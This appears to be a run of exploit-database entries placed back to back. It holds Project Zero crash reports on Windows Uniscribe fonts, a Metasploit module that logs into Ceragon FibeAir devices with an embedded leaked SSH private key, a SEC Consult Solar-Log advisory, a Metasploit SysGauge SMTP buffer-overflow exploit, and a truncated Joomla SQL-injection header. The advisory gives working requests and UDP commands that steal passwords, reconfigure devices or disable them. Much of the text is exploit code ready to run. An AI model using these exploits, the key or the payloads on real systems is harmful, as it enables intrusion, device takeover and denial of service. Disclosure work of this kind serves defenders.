092b7924 ???????? ???????? ???????? ????????
092b7934 ???????? ???????? ???????? ????????
092b7944 ???????? ???????? ???????? ????????
092b7954 ???????? ???????? ???????? ????????
092b7964 ???????? ???????? ???????? ????????
092b7974 ???????? ???????? ???????? ????????
092b7984 ???????? ???????? ???????? ????????
---
The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached is a proof of concept malformed font file which triggers the crash.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41650.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1027
We have encountered a crash in the Windows Uniscribe user-mode library, in an unnamed function called by USP10!ttoGetTableData, while trying to display text using a corrupted font file:
---
(46ac.5f40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0945afce ebx=00000100 ecx=09463000 edx=00000004 esi=0945afba edi=0946006b
eip=75202dae esp=0059f634 ebp=0059f668 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
USP10!ttoGetTableData+0xc4e:
75202dae 668939 mov word ptr [ecx],di ds:002b:09463000=????
0:000> kb
ChildEBP RetAddr Args to Child
0059f668 75202bf8 0945af96 09462fb8 0059f688 USP10!ttoGetTableData+0xc4e
0059f690 752021b1 09462fb8 09462fb8 0945ad42 USP10!ttoGetTableData+0xa98
0059f6a4 751f7274 09458fd0 094589d0 0059f734 USP10!ttoGetTableData+0x51
0059f704 751f7044 0000001a 093f3d88 09401fa8 USP10!LoadTTOArabicShapeTables+0x184
0059f718 751fc638 51010f6c 093f3d88 0059f744 USP10!LoadArabicShapeTables+0xd4
0059f728 751fc5c8 51010f6c 094587d0 093e6124 USP10!ArabicSimpleLoadTbl+0x28
0059f744 751ea5a0 51010f6c 751e5348 0000001a USP10!ArabicLoadTbl+0xa8
0059f76c 751ea692 093e6124 51010f6c 0000001a USP10!UpdateCache+0xb0
0059f780 751f152d 51010f6c 093e6000 751f15db USP10!ScriptCheckCache+0x62
0059f78c 751f15db 00000001 00000001 00000000 USP10!GetShapeFunction+0xd
0059f7c4 751f2b14 00000001 00000001 0059f844 USP10!RenderItemNoFallback+0x5b
0059f7f0 751f2da2 00000001 00000001 0059f844 USP10!RenderItemWithFallback+0x104
0059f814 751f4339 00000001 0059f844 093e6124 USP10!RenderItem+0x22
0059f858 751e7a04 000004a0 00000400 51010f6c USP10!ScriptStringAnalyzeGlyphs+0x1e9
0059f870 76ca5465 51010f6c 093e6040 0000000a USP10!ScriptStringAnalyse+0x284
0059f8bc 76ca5172 51010f6c 0059fca4 0000000a LPK!LpkStringAnalyse+0xe5
0059f9b8 76ca1410 51010f6c 00000000 00000000 LPK!LpkCharsetDraw+0x332
0059f9ec 763c18b0 51010f6c 00000000 00000000 LPK!LpkDrawTextEx+0x40
0059fa2c 763c22bf 51010f6c 00000070 00000000 USER32!DT_DrawStr+0x13c
0059fa78 763c21f2 51010f6c 0059fca4 0059fcb8 USER32!DT_GetLineBreak+0x78
0059fb24 763c14d4 51010f6c 00000000 0000000a USER32!DrawTextExWorker+0x255
0059fb48 763c2475 51010f6c 0059fca4 ffffffff USER32!DrawTextExW+0x1e
0059fb7c 00336a5c 51010f6c 0059fca4 ffffffff USER32!DrawTextW+0x4d
[...]
0:000> dd ecx
09463000 ???????? ???????? ???????? ????????
09463010 ???????? ???????? ???????? ????????
09463020 ???????? ???????? ???????? ????????
09463030 ???????? ???????? ???????? ????????
09463040 ???????? ???????? ???????? ????????
09463050 ???????? ???????? ???????? ????????
09463060 ???????? ???????? ???????? ????????
09463070 ???????? ???????? ???????? ????????
0:000> !heap -p -a ecx
address 09463000 found in
_DPH_HEAP_ROOT @ 93e1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
93e2fa4: 9462fb8 48 - 9462000 2000
5e3e8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77580f3e ntdll!RtlDebugAllocateHeap+0x00000030
7753ab47 ntdll!RtlpAllocateHeap+0x000000c4
774e3431 ntdll!RtlAllocateHeap+0x0000023a
5fcca792 vrfcore!VfCoreRtlAllocateHeap+0x00000016
751f6644 USP10!UspAllocCache+0x00000054
751f725b USP10!LoadTTOArabicShapeTables+0x0000016b
751f7044 USP10!LoadArabicShapeTables+0x000000d4
751fc638 USP10!ArabicSimpleLoadTbl+0x00000028
751fc5c8 USP10!ArabicLoadTbl+0x000000a8
751ea5a0 USP10!UpdateCache+0x000000b0
751ea692 USP10!ScriptCheckCache+0x00000062
751f152d USP10!GetShapeFunction+0x0000000d
751f2b14 USP10!RenderItemWithFallback+0x00000104
751f2da2 USP10!RenderItem+0x00000022
751f4339 USP10!ScriptStringAnalyzeGlyphs+0x000001e9
751e7a04 USP10!ScriptStringAnalyse+0x00000284
76ca5465 LPK!LpkStringAnalyse+0x000000e5
76ca5172 LPK!LpkCharsetDraw+0x00000332
76ca1410 LPK!LpkDrawTextEx+0x00000040
763c18b0 USER32!DT_DrawStr+0x0000013c
763c22bf USER32!DT_GetLineBreak+0x00000078
763c21f2 USER32!DrawTextExWorker+0x00000255
763c14d4 USER32!DrawTextExW+0x0000001e
763c2475 USER32!DrawTextW+0x0000004d
[...]
---
The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached is an archive with 3 crashing samples.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41651.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1028
We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!UpdateGlyphFlags function, while trying to display text using a corrupted font file:
---
(5268.3b50): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00003fe0 ebx=0000ffff ecx=000007fc edx=0050ee58 esi=0000f803 edi=0931c020
eip=75230c90 esp=0050eb48 ebp=0050eb50 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
USP10!UpdateGlyphFlags+0x30:
75230c90 66834c380210 or word ptr [eax+edi+2],10h ds:002b:09320002=????
0:000> kb
ChildEBP RetAddr Args to Child
0050eb50 752336b3 42555347 0050ee58 00000000 USP10!UpdateGlyphFlags+0x30
0050ed2c 7522f29f 42555347 0050ee68 0050ee3c USP10!ApplyFeatures+0x553
0050ed78 7522b083 00000000 00000000 00000000 USP10!SubstituteOtlGlyphs+0x1bf
0050eda4 75226d5c 0050edd4 0050ee4c 0050ee68 USP10!ShapingLibraryInternal::SubstituteOtlGlyphsWithLanguageFallback+0x23
0050f010 7521548a 0050f11c 0050f148 0050f130 USP10!GenericEngineGetGlyphs+0xa1c
0050f0d0 7521253f 0050f11c 0050f148 0050f130 USP10!ShapingGetGlyphs+0x36a
0050f1bc 751e5c6f 7901150c 09316124 09316318 USP10!ShlShape+0x2ef
0050f200 751f167a 7901150c 09316124 09316318 USP10!ScriptShape+0x15f
0050f260 751f2b14 00000000 00000000 0050f2e0 USP10!RenderItemNoFallback+0xfa
0050f28c 751f2da2 00000000 00000000 0050f2e0 USP10!RenderItemWithFallback+0x104
0050f2b0 751f4339 00000000 0050f2e0 09316124 USP10!RenderItem+0x22
0050f2f4 751e7a04 000004a0 00000400 7901150c USP10!ScriptStringAnalyzeGlyphs+0x1e9
0050f30c 76ca5465 7901150c 09316040 0000000a USP10!ScriptStringAnalyse+0x284
0050f358 76ca5172 7901150c 0050f740 0000000a LPK!LpkStringAnalyse+0xe5
0050f454 76ca1410 7901150c 00000000 00000000 LPK!LpkCharsetDraw+0x332
0050f488 763c18b0 7901150c 00000000 00000000 LPK!LpkDrawTextEx+0x40
0050f4c8 763c22bf 7901150c 00000070 00000000 USER32!DT_DrawStr+0x13c
0050f514 763c21f2 7901150c 0050f740 0050f754 USER32!DT_GetLineBreak+0x78
0050f5c0 763c14d4 7901150c 00000000 0000000a USER32!DrawTextExWorker+0x255
0050f5e4 763c2475 7901150c 0050f740 ffffffff USER32!DrawTextExW+0x1e
0050f618 001a6a5c 7901150c 0050f740 ffffffff USER32!DrawTextW+0x4d
[...]
0:000> !heap -p -a eax+edi
address 09320000 found in
_DPH_HEAP_ROOT @ 9311000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
9311f38: 931c000 4000 - 931b000 6000
5e3e8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77580f3e ntdll!RtlDebugAllocateHeap+0x00000030
7753ab47 ntdll!RtlpAllocateHeap+0x000000c4
774e3431 ntdll!RtlAllocateHeap+0x0000023a
5dbea792 vrfcore!VfCoreRtlAllocateHeap+0x00000016
751f68fa USP10!UspAllocStatic+0x000000aa
751f6cea USP10!UspAcquireTempAlloc+0x0000002a
751e8778 USP10!ScriptRecordDigitSubstitution+0x00000028
76ca5304 LPK!ReadNLSScriptSettings+0x00000074
76ca53b8 LPK!LpkStringAnalyse+0x00000038
76ca5172 LPK!LpkCharsetDraw+0x00000332
76ca1410 LPK!LpkDrawTextEx+0x00000040
763c18b0 USER32!DT_DrawStr+0x0000013c
763c22bf USER32!DT_GetLineBreak+0x00000078
763c21f2 USER32!DrawTextExWorker+0x00000255
763c14d4 USER32!DrawTextExW+0x0000001e
763c2475 USER32!DrawTextW+0x0000004d
[...]
---
The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached is an archive with 3 crashing samples.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41652.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1029
We have encountered a number of crashes in the Windows Uniscribe user-mode library, while trying to display text using a corrupted font file. While crashes in this specific family take various shapes and forms, they all occur in functions directly or indirectly called by USP10!BuildFSM. An example crash excerpt is shown below:
---
(5020.4074): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000000cc ebx=0964b270 ecx=0964c6aa edx=0038f409 esi=00000782 edi=0963d7d0
eip=751f968d esp=0038f3bc ebp=0038f468 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216
USP10!BuildDynamicStatesStaticInputs+0x45d:
751f968d 668944b302 mov word ptr [ebx+esi*4+2],ax ds:002b:0964d07a=????
0:000> kb
ChildEBP RetAddr Args to Child
0038f468 751f7a33 00000048 09649700 0000001a USP10!BuildDynamicStatesStaticInputs+0x45d
0038f6a0 751f7076 095d3d88 095e1fa8 0038f6cc USP10!BuildFSM+0x193
0038f6b0 751fc5f4 c10125b4 095d3d88 095c6124 USP10!LoadArabicShapeTables+0x106
0038f6cc 751ea5a0 c10125b4 0963d7d0 0000001a USP10!ArabicLoadTbl+0xd4
0038f6f0 751ea692 095c6124 c10125b4 0000001a USP10!UpdateCache+0xb0
0038f704 751f152d c10125b4 095c6000 751f15db USP10!ScriptCheckCache+0x62
0038f710 751f15db 00000001 00000001 095c62e8 USP10!GetShapeFunction+0xd
0038f748 751f2b14 00000001 00000000 0038f7c8 USP10!RenderItemNoFallback+0x5b
0038f774 751f2da2 00000001 00000000 0038f7c8 USP10!RenderItemWithFallback+0x104
0038f798 751f4339 00000000 0038f7c8 095c6124 USP10!RenderItem+0x22
0038f7dc 751e7a04 000004a0 00000400 c10125b4 USP10!ScriptStringAnalyzeGlyphs+0x1e9
0038f7f4 76ca5465 c10125b4 095c6040 0000000a USP10!ScriptStringAnalyse+0x284
0038f840 76ca5172 c10125b4 0038fc28 0000000a LPK!LpkStringAnalyse+0xe5
0038f93c 76ca1410 c10125b4 00000000 00000000 LPK!LpkCharsetDraw+0x332
0038f970 763c18b0 c10125b4 00000000 00000000 LPK!LpkDrawTextEx+0x40
0038f9b0 763c22bf c10125b4 00000040 00000000 USER32!DT_DrawStr+0x13c
0038f9fc 763c21f2 c10125b4 0038fc28 0038fc3c USER32!DT_GetLineBreak+0x78
0038faa8 763c14d4 c10125b4 00000000 0000000a USER32!DrawTextExWorker+0x255
0038facc 763c2475 c10125b4 0038fc28 ffffffff USER32!DrawTextExW+0x1e
0038fb00 01196a5c c10125b4 0038fc28 ffffffff USER32!DrawTextW+0x4d
[...]
0:000> !heap -p -a ebx
address 0964b270 found in
_DPH_HEAP_ROOT @ 95c1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
95c2ed4: 964b270 1d8c - 964b000 3000
5dbb8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77580f3e ntdll!RtlDebugAllocateHeap+0x00000030
7753ab47 ntdll!RtlpAllocateHeap+0x000000c4
774e3431 ntdll!RtlAllocateHeap+0x0000023a
5fcca792 vrfcore!VfCoreRtlAllocateHeap+0x00000016
751f6644 USP10!UspAllocCache+0x00000054
751f7975 USP10!BuildFSM+0x000000d5
751f7076 USP10!LoadArabicShapeTables+0x00000106
751fc5f4 USP10!ArabicLoadTbl+0x000000d4
751ea5a0 USP10!UpdateCache+0x000000b0
751ea692 USP10!ScriptCheckCache+0x00000062
751f152d USP10!GetShapeFunction+0x0000000d
751f2b14 USP10!RenderItemWithFallback+0x00000104
751f2da2 USP10!RenderItem+0x00000022
751f4339 USP10!ScriptStringAnalyzeGlyphs+0x000001e9
751e7a04 USP10!ScriptStringAnalyse+0x00000284
76ca5465 LPK!LpkStringAnalyse+0x000000e5
76ca5172 LPK!LpkCharsetDraw+0x00000332
76ca1410 LPK!LpkDrawTextEx+0x00000040
763c18b0 USER32!DT_DrawStr+0x0000013c
763c22bf USER32!DT_GetLineBreak+0x00000078
763c21f2 USER32!DrawTextExWorker+0x00000255
763c14d4 USER32!DrawTextExW+0x0000001e
763c2475 USER32!DrawTextW+0x0000004d
[...]
---
The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached is an archive with 2 crashing samples.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41653.zip
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'net/ssh'
class MetasploitModule < Msf::Exploit::Remote
include Msf::Auxiliary::Report
Rank = ExcellentRanking
def initialize(info = {})
super(update_info(info, {
'Name' => 'Ceragon FibeAir IP-10 SSH Private Key Exposure',
'Description' => %q{
Ceragon ships a public/private key pair on FibeAir IP-10 devices
that allows passwordless authentication to any other IP-10 device.
Since the key is easily retrievable, an attacker can use it to
gain unauthorized remote access as the "mateidu" user.
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Targets' => [ [ "Universal", {} ] ],
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'Author' => [
'hdm', # Discovery
'todb' # Metasploit module and advisory text (mostly copy-paste)
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-0936'],
['URL', 'https://gist.github.com/todb-r7/5d86ecc8118f9eeecc15'], # Original Disclosure
],
'DisclosureDate' => "Apr 01 2015", # Not a joke
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DefaultTarget' => 0
}))
register_options(
[
# Since we don't include Tcp, we have to register this manually
Opt::RHOST(),
Opt::RPORT(22)
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
# helper methods that normally come from Tcp
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def do_login(user)
factory = Rex::Socket::SSHFactory.new(framework,self, datastore['Proxies'])
opt_hash = {
auth_methods: ['publickey'],
port: rport,
key_data: [ key_data ],
use_agent: false,
config: false,
proxy: factory,
non_interactive: true
}
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh_socket = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh_socket = Net::SSH.start(rhost, user, opt_hash)
end
rescue Rex::ConnectionError
return nil
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return nil
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return nil
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
return nil
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return nil
end
if ssh_socket
# Create a new session from the socket, then dump it.
conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)
ssh_socket = nil
return conn
else
return nil
end
end
def exploit
conn = do_login("mateidu")
if conn
print_good "#{rhost}:#{rport} - Successful login"
handler(conn.lsock)
end
end
def key_data
<<EOF
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDBEh0OUdoiplc0P+XW8VPu57etz8O9eHbLHkQW27EZBEdXEYxr
MOFXi+PkA0ZcNDBRgjSJmHpo5WsPLwj/L3/L5gMYK+yeqsNu48ONbbqzZsFdaBQ+
IL3dPdMDovYo7GFVyXuaWMQ4hgAJEc+kk1hUaGKcLENQf0vEyt01eA/k6QIBIwKB
gQCwhZbohVm5R6AvxWRsv2KuiraQSO16B70ResHpA2AW31crCLrlqQiKjoc23mw3
CyTcztDy1I0stH8j0zts+DpSbYZnWKSb5hxhl/w96yNYPUJaTatgcPB46xOBDsgv
4Lf4GGt3gsQFvuTUArIf6MCJiUn4AQA9Q96QyCH/g4mdiwJBAPHdYgTDiQcpUAbY
SanIpq7XFeKXBPgRbAN57fTwzWVDyFHwvVUrpqc+SSwfzhsaNpE3IpLD9RqOyEr6
B8YrC2UCQQDMWrUeNQsf6xQer2AKw2Q06bTAicetJWz5O8CF2mcpVFYc1VJMkiuV
93gCvQORq4dpApJYZxhigY4k/f46BlU1AkAbpEW3Zs3U7sdRPUo/SiGtlOyO7LAc
WcMzmOf+vG8+xesCDOJwIj7uisaIsy1/cLXHdAPzhBwDCQDyoDtnGty7AkEAnaUP
YHIP5Ww0F6vcYBMSybuaEN9Q5KfXuPOUhIPpLoLjWBJGzVrRKou0WeJElPIJX6Ll
7GzJqxN8SGwqhIiK3wJAOQ2Hm068EicG5WQoS+8+KIE/SVHWmFDvet+f1vgDchvT
uPa5zx2eZ2rxP1pXHAdBSgh799hCF60eZZtlWnNqLg==
-----END RSA PRIVATE KEY-----
EOF
end
end
SEC Consult Vulnerability Lab Security Advisory < 20170322-0 >
=======================================================================
title: Multiple vulnerabilities
product: Solare Datensysteme GmbH
Solar-Log 250/300/500/800e/1000/1000 PM+/1200/2000
vulnerable version: Firmware 2.8.4-56 / 3.5.2-85
fixed version: Firmware 3.5.3-86
CVE number: -
impact: Critical
homepage: http://www.solar-log.com/de/home.html
found: 2017-01-23
by: T. Weber (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Solare Datensysteme GmbH (SDS) is headquartered in the southern German city
of Binsdorf and specialises in the development and sale of monitoring systems
for photovoltaic plants. The company was founded in 2007 by Thomas Preuhs and
Jörg Karwath and was created from the company "TOP Solare Datensysteme". This
company had been developing and selling the "SolarLogâ„¢" product range since
2005. Our core competence covers innovative products with short development
cycles and an excellent cost/performance ratio. Our developments have the
outstanding characteristics of high customer value, simple operation and
universal application without requiring time-consuming installation of
software."
Source: http://www.solar-log.uk/gb-en/unternehmen/ueber-uns.html
Business recommendation:
------------------------
SEC Consult recommends to immediately install the available firmware update
and restrict network access.
Furthermore, this device should not be used in production until a thorough
security review has been performed by security professionals and all
identified issues have been resolved.
Vulnerability overview/description:
-----------------------------------
1) Unauthenticated Download of Configuration including Device-Password
This vulnerability is present at least on firmware 2.8.4-56.
An attacker can download the configuration file without authentication and
extract the password to login to Solar-Log. Therefore, an attacker can gain
administrative access to such a device without prior authentication.
2) Cross-Site Request Forgery (CSRF)
This vulnerability is present at least on firmware 3.5.2-85.
A CSRF vulnerability enables an attacker to remove/modify a password of a
device by luring an authenticated user to click on a crafted link. An attacker
is able to take over the device by exploiting this vulnerability.
3) Unauthenticated Arbitrary File Upload
This vulnerability is present at least on firmware 3.5.2-85.
Any files can be uploaded on the Solar-Log by using a crafted POST request. An
attacker can start a malicious website or use the Solar-Log as share to store
any (illegal) contents.
4) Information Disclosure (CVE-2001-1341)
All Solar-Log devices in the current firmware versions are prone to this
information disclosure vulnerability. (2.8.4-56 / 3.5.2-85)
The network configuration of the internal network including the gateway and
the MAC address of the device are leaked.
All details of the IPC@CHIP from Beck IPC (https://www.beck-ipc.com/) like RTOS
version and serial number are leaked as well.
5) Unauthenticated Change of Network-Configuration
All Solar-Log devices in the current firmware versions are prone to this
vulnerability. (2.8.4-56 / 3.5.2-85)
Since the Solar-Log is based on the chips of Beck IPC a UDP configuration
server is enabled by default. This server allows to change the IP configuration
over a specific UDP port. This functionality can be protected with a password,
but this is not set in the affected firmware versions.
The MAC address, which is leaked by 4), is needed to configure the device.
An attacker can reconfigure the device without any authentication.
6) Unauthenticated Denial of Service
All Solar-Log devices in the current firmware versions are prone to this
vulnerability. (2.8.4-56 / 3.5.2-85)
The Beck IPC UDP configuration server on Solar-Log device can be attacked with
arbitrary UDP packets to permanently disable the Solar-Log until a manual
reboot is triggered.
7) Potential Unauthenticated Reprogram of IPC@CHIP Flash Memory
Potentially available in all Solar-Log devices in the current firmware
versions. (2.8.4-56 / 3.5.2-85)
Since the "CHIPTOOL" from BECK IPC enables a developer to reprogram the chip
over the network via UDP, a missing password can also enable an attacker to do
this on a Solar-Log device. This action can lead to a simple Denial of Service
or a complex botnet of Solar-Log devices!
Proof of concept:
-----------------
1) Unauthenticated Download of Configuration including Device-Password
The full configuration is exposed by sending the following GET-request:
-------------------------------------------------------------------------------
GET /data/misc.dat HTTP/1.1
Host: <IP-Address>
[...]
-------------------------------------------------------------------------------
Since the response contains the password, an attacker can easily take
control over the device.
2) Cross-Site Request Forgery
By luring the user to issue the following request, the password is removed:
-------------------------------------------------------------------------------
POST /setjp HTTP/1.1
Host: <IP-Address>
preval=none;postval=105;{"221":"0","223":"0","225":"1","287":"","288":{"0":"0","1":"0"},"440":"0"}
-------------------------------------------------------------------------------
By luring the user to issue the following request, the password is modified:
-------------------------------------------------------------------------------
POST /setjp HTTP/1.1
Host: <IP-Address>
preval=none;postval=105;{"221":"0","223":"1","224":"<New-Password>","225":"1","287":"","288":{"0":"0","1":"0"},"440":"0"}
-------------------------------------------------------------------------------
3) Unauthenticated Arbitrary File Upload
Any files can be uploaded by using the following POST-request:
-------------------------------------------------------------------------------
POST /menu/d_debug_db.html HTTP/1.1
Host: <IP-Address>
[...]
Referer: http://<IP-Address>/menu/d_debug_db.html
Content-Type: multipart/form-data; boundary=--------301473270
Content-Length: 341
----------301473270
Content-Disposition: form-data; name="DESTINATION-PATH"
PoC.html
----------301473270
Content-Disposition: form-data; name="FILE-CONTENT"; filename="file.txt"
Content-Type: text/plain
<html>
<head>
<title>SEC-Test</title>
</head>
<body>
<script>alert("XSS-PoC");</script>
</body>
</html>
----------301473270
Content-Disposition: form-data; name="L_UPLOAD"
Hochladen
----------301473270--
-------------------------------------------------------------------------------
The uploaded content can be reached by this link:
http://<IP-Address>/PoC.html
4) Information Disclosure (CVE-2001-1341)
This vulnerability is a known issue to IPC@CHIP since 2001.
See: https://www.securityfocus.com/bid/2767/info
The following URL can be used to open the "ChipCfg" file on a Solar-Log device:
http://<IP-Address>/ChipCfg
If an attacker is in the same subnet, he can directly request this information
from the device (the device responds to multicast) with the following command:
$ echo -n "0 1 A" >/dev/udp/<Target-IP>/8001
5) Unauthenticated Change of Network-Configuration
By using the following command a change of the network configuration can be
triggerd unauthenticated on UDP port 8001:
$ echo -n "<MAC> 4 2 0 <Desired-IP-Address> <Desired-Netmask> <Desired-Gateway>" >/dev/udp/<Target-IP>/8001
Example:
$ echo -n "001122334455 4 2 0 192.168.4.5 255.255.255.0 192.168.4.254" >/dev/udp/192.168.4.9/8001
6) Unauthenticated Denial of Service
By using arbitrary null characters the IPC@CHIP can be pushed into an
undesired state:
$ echo -n "<MAC> 0 <IP-Address> <Netmask> <Gateway> DDDD\0\0" >/dev/udp/<Target-IP>/8001
Example:
$ echo -n "001122334455 0 192.168.4.5 255.255.255.0 192.168.4.254 DDDD\0\0" >/dev/udp/192.168.4.5/8001
7) Potential Unauthenticated Reprogram of IPC@CHIP Flash Memory
This action was not tested against the device. Such attack can brick the
Solar-Log. The worst case scenario would be a botnet exploiting this vulnerability.
A network-dump of the "CHIPTOOL" would be enough to reconstruct the required
UDP packets for the attack.
Vulnerable / tested versions:
-----------------------------
Solar-Log 1200 - 3.5.2-85
Solar-Log 800e - 2.8.4-56
Since the firmware for the other Solar-Log devices is exactly the same,
other devices with the same versions are also prone to the vulnerabilities!
Vendor contact timeline:
------------------------
2017-02-02: Contacting vendor via info@solar-log.com, support@solar-log.com
and berlin@solar-log.com.
2017-02-14: Vendor responds and requests the advisory unencrypted; Sent the
advisory unencrypted to the vendor.
2017-02-20: Asked for an update.
2017-02-21: Vendor states that the patch is in development. The update will
be published before 2017-03-24.
2017-03-14: Asked for a status update. Vendor states that the update will
be available on 2017-03-21.
2017-03-20: Vendor sends release notes. New firmware version is 3.5.3 build
86 for all affected Solar-Log devices.
Informing the vendor that the release of the advisory is set to
2017-03-22.
2017-03-22: Public advisory release.
Solution:
---------
Upgrade to firmware 3.5.3-86
http://www.solar-log.com/de/service-support/downloads/firmware.html
Workaround:
-----------
Restrict network access to the devices.
Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/Career.htm
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF T. Weber / @2017
#
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::TcpServer
Rank = NormalRanking
def initialize()
super(
'Name' => 'SysGauge SMTP Validation Buffer Overflow',
'Description' => %q{
This module will setup an SMTP server expecting a connection from SysGauge 1.5.18
via its SMTP server validation. The module sends a malicious response along in the
220 service ready response and exploits the client, resulting in an unprivileged shell.
},
'Author' =>
[
'Chris Higgins', # msf Module -- @ch1gg1ns
'Peter Baris' # Initial discovery and PoC
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '41479' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 306,
'BadChars' => "\x00\x0a\x0d\x20"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal',
{
'Offset' => 176,
'Ret' => 0x6527635E # call esp # QtGui4.dll
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Feb 28 2017',
'DefaultTarget' => 0
)
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ]),
])
end
def on_client_connect(c)
# Note here that the payload must be split into two parts.
# The payload gets jumbled in the stack so we need to split
# and align to get it to execute correctly.
sploit = "220 "
sploit << rand_text(target['Offset'])
# Can only use the last part starting from 232 bytes in
sploit << payload.encoded[232..-1]
sploit << rand_text(2)
sploit << [target.ret].pack('V')
sploit << rand_text(12)
sploit << make_nops(8)
# And the first part up to 232 bytes
sploit << payload.encoded[0..231]
sploit << "ESMTP Sendmail \r\n"
print_status("Client connected: " + c.peerhost)
print_status("Sending payload...")
c.put(sploit)
end
end
###############################################################################################
# Exploit Title: Joomla Modern Booking - SQL Injection
# Author: [ Hamed Izadi ]
#IRAN
# Vendor Homepage :
https://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/modern-booking/
# Vendor Homepage : https://www.unikalus.com/
# Category: [ Webapps ]
